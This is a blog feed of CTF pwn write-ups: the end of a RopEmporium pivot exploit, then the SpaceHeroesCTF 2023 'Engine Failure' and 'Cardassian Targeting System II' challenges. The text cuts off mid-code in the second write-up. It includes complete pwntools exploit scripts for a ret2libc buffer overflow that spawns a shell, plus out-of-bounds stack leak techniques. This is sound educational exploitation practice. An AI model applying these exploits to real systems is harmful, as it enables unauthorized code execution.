<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'libpivot'</span><span class="p">)</span>
<span class="n">data2</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recv</span><span class="p">()</span>
<span class="n">data2</span> <span class="o">=</span> <span class="n">data2</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'</span><span class="se">\n</span><span class="s">Leaked string here </span><span class="si">{</span><span class="n">data2</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="si">}</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">byte_string</span> <span class="o">=</span> <span class="n">data2</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="n">foothold_got</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">binascii</span><span class="p">.</span><span class="n">hexlify</span><span class="p">(</span><span class="n">byte_string</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]).</span><span class="n">decode</span><span class="p">(</span><span class="s">'utf-8'</span><span class="p">),</span> <span class="mi">16</span><span class="p">)</span>

<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'foothold@got </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">foothold_got</span><span class="p">)</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>

<span class="n">libpivot_base</span> <span class="o">=</span> <span class="n">foothold_got</span> <span class="o">-</span> <span class="n">libpivot</span><span class="p">.</span><span class="n">symbols</span><span class="p">.</span><span class="n">foothold_function</span>
<span class="n">ret2win</span> <span class="o">=</span> <span class="n">libpivot_base</span> <span class="o">+</span> <span class="n">libpivot</span><span class="p">.</span><span class="n">symbols</span><span class="p">.</span><span class="n">ret2win</span>

<span class="n">payload3</span> <span class="o">=</span> <span class="n">flat</span><span class="p">([</span>
    <span class="n">offset</span> <span class="o">*</span> <span class="s">'a'</span><span class="p">,</span>
    <span class="n">ret2win</span>
    
<span class="p">])</span>

<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload3</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>]]></content><author><name>Gabriel Samide</name><email>your-email@email.com</email></author><category term="pwn" /><category term="ropemporium" /><summary type="html"><![CDATA[Here is my write-up for Pivot! This is probably my second favorite challenge of the RopEmporium series.]]></summary></entry><entry><title type="html">SpaceHeroesCTF 2023</title><link href="https://gabri3l.net/SpaceHeroesCTF2023/" rel="alternate" type="text/html" title="SpaceHeroesCTF 2023" /><published>2023-06-23T00:00:00+07:00</published><updated>2023-06-23T00:00:00+07:00</updated><id>https://gabri3l.net/SpaceHeroesCTF2023</id><content type="html" xml:base="https://gabri3l.net/SpaceHeroesCTF2023/"><![CDATA[<p>The write-ups for these couple challenges are quite late (this CTF happened from April 21 to April 23 2023), however, I wanted to start a blog documenting my CTF write-ups.</p>

<p>The SpaceHeroes CTF put on by FITSEC over at Florida Tech was a really fun CTF and I am happy that I contributed the solve to <code class="language-plaintext highlighter-rouge">Engine Failure</code>. <code class="language-plaintext highlighter-rouge">Cardassian Targeting System II</code> was originally solved by another member of my team and I decided to revisit it and solve it myself <strong>a few weeks after the competition ended.</strong></p>

<p>Without further ado, let’s hop in.</p>

<h1 id="engine-failure--category-pwn">“Engine Failure” | Category: Pwn</h1>
<p>From the author, we are given a binary and a  glibc library <code class="language-plaintext highlighter-rouge">libc.so.6</code> file to download. The appearance of a libc file suggests that we might have to perform a return to libc attack to spawn a shell. But first, let’s have a look at some of the protections on the binary. Checksec can be used to view any protections that the binary was compiled with.</p>

<p><img src="checksec-output-ef.png" alt="" /></p>

<p>We can see that Partial RELRO has been enabled so the Global Offset Table is writable should we need it. No Canary found so a buffer overflow should be trivial if the program allows for it. No PIE so the memory addresses will be the same each time the program is run. NX is enabled which means no shellcode off the stack. The lack of protections leaves a few exploit paths open to us but let’s have a look at the binary itself to see what it is doing.</p>

<p>Upon execution, we are provided with a menu.</p>

<p><img src="menu.png" alt="" /></p>

<p>Let’s go through each option to see if we can find out what each is doing. In order to do this, we can look at the disassembly in Ghidra. Let’s look at the first option.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="n">local_c</span> <span class="o">&lt;</span> <span class="mi">4</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">local_c</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">puts</span><span class="p">(</span><span class="s">"</span><span class="se">\n\n</span><span class="s">Choose an option:"</span><span class="p">);</span>
        <span class="n">puts</span><span class="p">(</span><span class="s">"1) Back to Earth"</span><span class="p">);</span>
        <span class="n">puts</span><span class="p">(</span><span class="s">"2) Satellite"</span><span class="p">);</span>
        <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="o">&amp;</span><span class="n">DAT_00402386</span><span class="p">,</span><span class="o">&amp;</span><span class="n">local_10</span><span class="p">);</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">local_10</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
          <span class="n">vuln</span><span class="p">(</span><span class="s">"write a msg you want to send &gt;&gt;&gt; "</span><span class="p">);</span>
        <span class="p">}</span>
        <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">local_10</span> <span class="o">==</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
          <span class="n">puts</span><span class="p">(</span><span class="s">"Connecting to satellite......"</span><span class="p">);</span>
          <span class="n">sleep</span><span class="p">(</span><span class="mi">3</span><span class="p">);</span>
          <span class="n">printf</span><span class="p">(</span><span class="s">"connection failed......"</span><span class="p">);</span>
          <span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
        <span class="p">}</span>
        <span class="k">else</span> <span class="p">{</span>
          <span class="n">puts</span><span class="p">(</span><span class="s">"Invalid option."</span><span class="p">);</span>
        <span class="p">}</span>
</code></pre></div></div>

<p>If we select <code class="language-plaintext highlighter-rouge">1</code> we can either choose “1) Back to Earth” or “2) Satellite”. The “Satellite” choice does nothing, but if we select “Back to Earth” we are prompted with a message and the <code class="language-plaintext highlighter-rouge">vuln()</code> function is called. The contents of the <code class="language-plaintext highlighter-rouge">vuln()</code> function are as follows.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">vuln</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">param_1</span><span class="p">)</span>

<span class="p">{</span>
  <span class="kt">char</span> <span class="n">local_28</span> <span class="p">[</span><span class="mi">32</span><span class="p">];</span>
  
  <span class="n">puts</span><span class="p">(</span><span class="n">param_1</span><span class="p">);</span>
  <span class="n">gets</span><span class="p">(</span><span class="n">local_28</span><span class="p">);</span>
  <span class="n">gets</span><span class="p">(</span><span class="n">local_28</span><span class="p">);</span>
  <span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>It appears a buffer size of 32 bytes is being defined and the vulnerable <code class="language-plaintext highlighter-rouge">gets()</code> function is being called. <code class="language-plaintext highlighter-rouge">gets()</code> doesn’t check for the size of the buffer, so we can provide as much input as we want. This will allow for  a buffer overflow and will allow us to gain control of the program. We can see this in action in <code class="language-plaintext highlighter-rouge">gdb</code>. By passing a De Bruijn sequence to the program we can see exactly where the program crashes.</p>

<p><img src="gdb-crash-output.png" alt="" /></p>

<p>As you can see, by passing a De Bruijn sequence of 50 characters, we can see that it will take 40 characters until we reach the RIP.</p>

<p>Now, once we overflow the buffer, gain control of the instruction pointer, what do we do next? There is no <code class="language-plaintext highlighter-rouge">win()</code> function to return to so we’ll have to use a return2libc style attack. This will involve redirecting program execution to the <code class="language-plaintext highlighter-rouge">system()</code> function within the given glibc library with <code class="language-plaintext highlighter-rouge">/bin/sh</code> as its argument to spawn a shell. However due to ASLR, we will need a libc leak (an address within libc at runtime) to calculate the base of libc and call system in the first place. Let’s see if there’s anything in the program that can help us achieve that.</p>

<p>When we select menu option 2, “2) What’s in the database”, an address is spit out at us and is different each time. From the look of it (0x7f bla bla bla) it look like an address in libc, but what address? Well, looking at the disassembly in Ghidra, it appears when option 2 is selected, it spits out the libc  address of <code class="language-plaintext highlighter-rouge">puts()</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>	<span class="k">else</span> <span class="p">{</span>
	    <span class="k">if</span> <span class="p">(</span><span class="n">local_c</span> <span class="o">!=</span> <span class="mi">2</span><span class="p">)</span> <span class="k">goto</span> <span class="n">LAB_0040146f</span><span class="p">;</span>
	    <span class="n">printf</span><span class="p">(</span><span class="s">"Coordinates: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">puts</span><span class="p">);</span>
      <span class="p">}</span>
</code></pre></div></div>

<p>This is very helpful because we can grab the offset of the <code class="language-plaintext highlighter-rouge">puts()</code> function from the provided libc library. We can take the leak - the offset and we will get the libc base address.</p>

<p>So let’s stop here and see what we’ve got so far. We can get a libc leak to find the base of libc at runtime and we have control over program execution via a buffer overflow. The exploit will be something like this; grab the <code class="language-plaintext highlighter-rouge">puts()</code> address, calculate the base of libc, overflow the buffer to gain control of the instruction pointer and make it point to the address of <code class="language-plaintext highlighter-rouge">system()</code> with a pointer to the string <code class="language-plaintext highlighter-rouge">/bin/sh</code> as the first argument. This string can be found in the libc library we are given and can be easily grabbed since we’ll have the base address. Most of this can be automated with pwntools, but let’s have a look at how we can ensure <code class="language-plaintext highlighter-rouge">/bin/sh</code> is the first argument when <code class="language-plaintext highlighter-rouge">system()</code> is called.</p>

<p>Because x86_64 calling conventions dictate that the the first argument must be stored in the RDI register when a function is called, we must get <code class="language-plaintext highlighter-rouge">/bin/sh</code> into the RDI register. This can be done with something called a ROP gadget. Specifically something like  <code class="language-plaintext highlighter-rouge">pop rdi; ret</code>. ROP gadgets can be found using a tool called ROPGadget. A search doesn’t yield any useful ROP gadgets in the program itself, but we can look in the libc library we are provided.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ROPGadget <span class="nt">--binary</span> libc.so.6 | <span class="nb">grep</span> <span class="s2">"pop rdi"</span>
</code></pre></div></div>

<p>True enough this yields a <code class="language-plaintext highlighter-rouge">pop rdi; ret</code> gadget which is just what we needed. We can now start to throw together a pwntools script to solve this challenge. First I wrote a function to grab the <code class="language-plaintext highlighter-rouge">puts()</code> leak.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">grab_leak</span><span class="p">():</span>
        <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'2'</span><span class="p">)</span>
        <span class="n">x</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'Coordinates: '</span><span class="p">)</span>
        <span class="n">y</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recv</span><span class="p">()</span>
        <span class="n">recieved</span> <span class="o">=</span> <span class="n">y</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
        <span class="n">leak</span> <span class="o">=</span> <span class="n">recieved</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
        <span class="k">print</span><span class="p">(</span><span class="n">recieved</span><span class="p">)</span>
        <span class="n">leak_int</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">leak</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span>
        <span class="n">leak_hex</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">leak_int</span><span class="p">)</span>
        <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'Puts leak @ </span><span class="si">{</span><span class="n">leak_hex</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">leak_int</span>

<span class="n">puts_leak</span> <span class="o">=</span> <span class="n">grab_leak</span><span class="p">()</span>
</code></pre></div></div>

<p>Then we can use pwntools to automate finding the libc base address and the address of system.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">puts_offset</span> <span class="o">=</span> <span class="n">libc</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'puts'</span><span class="p">]</span>

<span class="n">libc_base</span> <span class="o">=</span> <span class="n">puts_leak</span> <span class="o">-</span> <span class="n">puts_offset</span>
<span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">libc_base</span>
</code></pre></div></div>

<p>We can also use pwntools to grab the address of the string <code class="language-plaintext highlighter-rouge">/bin/sh</code> within the <code class="language-plaintext highlighter-rouge">libc.so.6</code> file we were provided.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">binsh</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="nb">next</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="sa">b</span><span class="s">'/bin/sh</span><span class="se">\x00</span><span class="s">'</span><span class="p">)))</span>
</code></pre></div></div>

<p>The sent payload will look like the following:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">payload</span> <span class="o">=</span> <span class="n">flat</span><span class="p">([</span>
        <span class="n">offset</span> <span class="o">*</span> <span class="s">'a'</span><span class="p">,</span>
        <span class="n">pop_rdi</span><span class="p">,</span>
        <span class="n">binsh</span><span class="p">,</span>
        <span class="n">ret</span><span class="p">,</span>
        <span class="n">system_addr</span>
 <span class="p">])</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>


<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>

<p>We send our junk to smash the stack, our <code class="language-plaintext highlighter-rouge">pop rdi; ret</code> instruction is then executed to pop our <code class="language-plaintext highlighter-rouge">/bin/sh</code> string into the RDI register. Then we use a <code class="language-plaintext highlighter-rouge">ret</code> gadget to ensure the stack is 16 byte aligned. Finally we call the system function to get a shell. We’ll send this payload off and then go into interactive mode so we can interact with the shell we just popped.</p>

<p>The full exploit is as follows.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">elf</span> <span class="o">=</span> <span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"engine_failure_patched"</span><span class="p">)</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">'libc.so.6'</span><span class="p">)</span>

<span class="n">p</span> <span class="o">=</span> <span class="n">elf</span><span class="p">.</span><span class="n">process</span><span class="p">()</span>
<span class="c1">#p = remote("spaceheroes-engine-failure.chals.io",443,ssl=True,sni="spaceheroes-engine-failure.chals.io")
</span><span class="n">offset</span> <span class="o">=</span> <span class="mi">40</span>

<span class="k">def</span> <span class="nf">grab_leak</span><span class="p">():</span>
	<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'2'</span><span class="p">)</span>
	<span class="n">x</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'Coordinates: '</span><span class="p">)</span>
	<span class="n">y</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recv</span><span class="p">()</span>
	<span class="n">recieved</span> <span class="o">=</span> <span class="n">y</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
	<span class="n">leak</span> <span class="o">=</span> <span class="n">recieved</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
	<span class="k">print</span><span class="p">(</span><span class="n">recieved</span><span class="p">)</span>
	<span class="n">leak_int</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">leak</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span>
	<span class="n">leak_hex</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">leak_int</span><span class="p">)</span>
	<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'Puts leak @ </span><span class="si">{</span><span class="n">leak_hex</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>
	<span class="k">return</span> <span class="n">leak_int</span>

<span class="n">puts_leak</span> <span class="o">=</span> <span class="n">grab_leak</span><span class="p">()</span>

<span class="n">puts_offset</span> <span class="o">=</span> <span class="n">libc</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'puts'</span><span class="p">]</span>

<span class="n">libc_base</span> <span class="o">=</span> <span class="n">puts_leak</span> <span class="o">-</span> <span class="n">puts_offset</span>
<span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">libc_base</span>

<span class="n">system_addr</span> <span class="o">=</span> <span class="n">libc</span><span class="p">.</span><span class="n">symbols</span><span class="p">.</span><span class="n">system</span>

<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'puts_offset @ </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">puts_offset</span><span class="p">)</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'libc base @ </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">address</span><span class="p">)</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'system @ </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">system_addr</span><span class="p">)</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>

<span class="n">pop_rdi</span> <span class="o">=</span> <span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">+</span> <span class="mh">0x000000000002a3e5</span>

<span class="n">binsh</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="nb">next</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="sa">b</span><span class="s">'/bin/sh</span><span class="se">\x00</span><span class="s">'</span><span class="p">)))</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'binsh @ </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">u64</span><span class="p">(</span><span class="n">binsh</span><span class="p">))</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>

<span class="n">ret</span> <span class="o">=</span> <span class="mh">0x0000000000401016</span>

<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'1'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'1'</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">flat</span><span class="p">([</span>
 	<span class="n">offset</span> <span class="o">*</span> <span class="s">'a'</span><span class="p">,</span>
 	<span class="n">pop_rdi</span><span class="p">,</span>
 	<span class="n">binsh</span><span class="p">,</span>
	<span class="n">ret</span><span class="p">,</span>
 	<span class="n">system_addr</span>
 <span class="p">])</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>

<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>

<h1 id="cardassian-targeting-system-ii--category-pwn">“Cardassian Targeting System II” | Category: Pwn</h1>
<p>From the author we get an executable and a <code class="language-plaintext highlighter-rouge">libc-2.31.so</code> libc library to work with. The first thing to do would be to run <code class="language-plaintext highlighter-rouge">checksec</code> on the program and see what protections are in place.</p>

<p><img src="cardII-checksec.png" alt="" /></p>

<p>Welp, full protections. This means no overwriting the GOT, we’d have to bypass the canary for a buffer overflow, no shellcode off the stack, and all memory addresses are random. Let’s hope the nature of the program will help us bypass some of these protections.</p>

<p>When running the program, an opportunity to enter our name and then we are presented with a menu.</p>

<p><img src="cardII-menu.png" alt="" /></p>

<p>It looks like we’ve got four menu options. We can either enter all coordinates (up to 10 coordinates) we can list those 10 coordinates, modify a specific set of coordinates, or list a specific set of coordinates. Let’s jump into GDB and Ghidra to get some info on how the program is laid out. GDB tells us that there are a few functions of use, <code class="language-plaintext highlighter-rouge">main()</code>, <code class="language-plaintext highlighter-rouge">print_menu()</code>, <code class="language-plaintext highlighter-rouge">performAction()</code>.</p>

<p>According to Ghidra, the <code class="language-plaintext highlighter-rouge">main()</code> function will take our intro question (which doesn’t really do anything) and then enter an infinite loop printing the menu using the <code class="language-plaintext highlighter-rouge">print_menu()</code> function and then based on our input, the <code class="language-plaintext highlighter-rouge">performAction()</code> function will, well, perform one of the menu actions.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
  <span class="kt">long</span> <span class="n">in_FS_OFFSET</span><span class="p">;</span>
  <span class="n">undefined4</span> <span class="n">choice</span><span class="p">;</span>
  <span class="kt">char</span> <span class="o">*</span><span class="n">intro</span><span class="p">;</span>
  <span class="n">undefined</span> <span class="n">local_68</span> <span class="p">[</span><span class="mi">88</span><span class="p">];</span>
  <span class="n">undefined8</span> <span class="n">local_10</span><span class="p">;</span>
  
  <span class="n">local_10</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
  <span class="n">print_art</span><span class="p">();</span>
  <span class="n">putchar</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
  <span class="n">intro</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="mh">0x40</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"Please enter your name and rank &gt;&gt;&gt; "</span><span class="p">);</span>
  <span class="n">fgets</span><span class="p">(</span><span class="n">intro</span><span class="p">,</span><span class="mh">0x40</span><span class="p">,</span><span class="n">stdin</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">Welcome back, %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">intro</span><span class="p">);</span>
  <span class="k">do</span> <span class="p">{</span>
    <span class="n">print_menu</span><span class="p">();</span>
    <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="o">&amp;</span><span class="n">DAT_00101e5b</span><span class="p">,</span><span class="o">&amp;</span><span class="n">choice</span><span class="p">);</span>
    <span class="n">getchar</span><span class="p">();</span>
    <span class="n">performAction</span><span class="p">(</span><span class="n">choice</span><span class="p">,</span><span class="n">local_68</span><span class="p">);</span>
  <span class="p">}</span> <span class="k">while</span><span class="p">(</span> <span class="nb">true</span> <span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Before we dive into the menu actions, lets take a look at what is happening when we enter target coordinates. To do this let’s have a look at the assembly code of the <code class="language-plaintext highlighter-rouge">performAction()</code> function.</p>

<p><img src="performaction-disass.png" alt="" /></p>

<p>We can deduce that the <code class="language-plaintext highlighter-rouge">cmp</code> instructions followed by <code class="language-plaintext highlighter-rouge">je</code> instructions are comparing our input and then jumping to the appropriate code to perform the action. An <code class="language-plaintext highlighter-rouge">if</code> condition, if you will. In order to see what happens when we enter all target coordinates, which is option <code class="language-plaintext highlighter-rouge">1</code>, we can find the line <code class="language-plaintext highlighter-rouge">cmp eax, 0x1</code>. When this is true, it will jump to <code class="language-plaintext highlighter-rouge">performAction() + 86</code>. This will be the start of the code for option one. Now let’s have a look around that area and see if we can find where the program goes when the program finishes that action.</p>

<p><img src="section-option-1.png" alt="" /></p>

<p>The lines that catch my attention are <code class="language-plaintext highlighter-rouge">performAction() + 160</code> to <code class="language-plaintext highlighter-rouge">performAction() + 170</code>. First we are adding 1 to a section of memory then we are comparing it to 0x9. Then based on that we either jump back to <code class="language-plaintext highlighter-rouge">performAction() + 95</code> or we go to <code class="language-plaintext highlighter-rouge">performAction() + 456</code>. This to me looks like a loop and matches the C disassembly in Ghidra. Therefore we can assume that when the loop is finished and we are done entering in all of the targets, the program will go to <code class="language-plaintext highlighter-rouge">performAction + 456</code>. So, let’s set a break point there and inspect the state of the program after we have entered in coordinates.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">break</span> <span class="k">*</span><span class="o">(</span>performAction + 456<span class="o">)</span>
run
</code></pre></div></div>

<p>After the break point is set and the program is ran, we select menu option 1 and for the ten targets, enter in a number 0-9, respectively. After we do that we hit our break point. Nothing seems suspicious straight away, so let’s inspect the contents of the stack using the command <code class="language-plaintext highlighter-rouge">stack 25</code> to print off the first 25 elements of the stack.</p>

<p><img src="stack-view.png" alt="Stack Layout" /></p>

<p>Huh, it looks like our coordinates have been stored on the stack! Remember, we can also modify the coordinates or read a coordinate based on a given index. And now that we know the coordinates are on the stack, could we maybe read or write to an index greater than 10 or less than 10? This could allow us to write to or read from elements on the stack! As it turns out, based on what we see in Ghidra, the code modifying a coordinate or reading a coordinate does not check for indices greater than or less than 10. <strong>Here lies our critical vulnerability.</strong></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>                    <span class="cm">/* Modify Targets */</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">param_1</span> <span class="o">==</span> <span class="mi">3</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">printf</span><span class="p">(</span><span class="s">"Which target will you modify? &gt;&gt;&gt; "</span><span class="p">);</span>
      <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="o">&amp;</span><span class="n">DAT_00101e5b</span><span class="p">,</span><span class="o">&amp;</span><span class="n">local_1c</span><span class="p">);</span>
      <span class="n">printf</span><span class="p">(</span><span class="s">"New coordinates for Target %d &gt;&gt;&gt; "</span><span class="p">,(</span><span class="n">ulong</span><span class="p">)</span><span class="n">local_1c</span><span class="p">);</span>
      <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="o">&amp;</span><span class="n">DAT_00101e23</span><span class="p">,</span><span class="n">param_2</span> <span class="o">+</span> <span class="p">(</span><span class="kt">long</span><span class="p">)(</span><span class="kt">int</span><span class="p">)</span><span class="n">local_1c</span> <span class="o">*</span> <span class="mi">8</span><span class="p">);</span>
      <span class="k">goto</span> <span class="n">LAB_00100e01</span><span class="p">;</span>
    <span class="p">}</span>
</code></pre></div></div>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>                    <span class="cm">/* List single target */</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">param_1</span> <span class="o">==</span> <span class="mi">4</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">printf</span><span class="p">(</span><span class="s">"Which target will you list? &gt;&gt;&gt; "</span><span class="p">);</span>
      <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="o">&amp;</span><span class="n">DAT_00101e5b</span><span class="p">,</span><span class="o">&amp;</span><span class="n">local_1c</span><span class="p">);</span>
      <span class="n">printf</span><span class="p">(</span><span class="s">"Target %d is at these coordinates: %ld</span><span class="se">\n</span><span class="s">"</span><span class="p">,(</span><span class="n">ulong</span><span class="p">)</span><span class="n">local_1c</span><span class="p">,</span>
             <span class="o">*</span><span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_2</span> <span class="o">+</span> <span class="p">(</span><span class="kt">long</span><span class="p">)(</span><span class="kt">int</span><span class="p">)</span><span class="n">local_1c</span> <span class="o">*</span> <span class="mi">8</span><span class="p">));</span>
      <span class="k">goto</span> <span class="n">LAB_00100e01</span><span class="p">;</span>
    <span class="p">}</span>
</code></pre></div></div>

<p>Our exploit path will be the following. Leak a libc value, calculate the base of libc, and then overwrite the return address of the <code class="language-plaintext highlighter-rouge">performAction()</code> function so that when it returns, it does not go back to <code class="language-plaintext highlighter-rouge">main()</code> but to a <code class="language-plaintext highlighter-rouge">one_gadget</code> that will spawn a shell. Let’s get to it.</p>

<p>The above picture is our stack layout. 0x9 was what we entered as coordinate number 10, so that is our 9th index since we start at 0. The tenth index is 0x1, the 11th index by the look of it, is our stack canary, the 12th index is 0x0, and the 13th index is the address of <code class="language-plaintext highlighter-rouge">__libc_start_main + 243</code>.  This is the libc address we will leak to calculate the base of libc. We’ll use this because it’ll be the same every time the program runs which mean we can be certain it will always yield the correct base address. Using pwntools, we can write a simple function to leak and parse this address and then calculate the base of libc.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">print_target</span><span class="p">(</span><span class="n">target</span><span class="p">):</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'4'</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">target</span><span class="p">)</span>
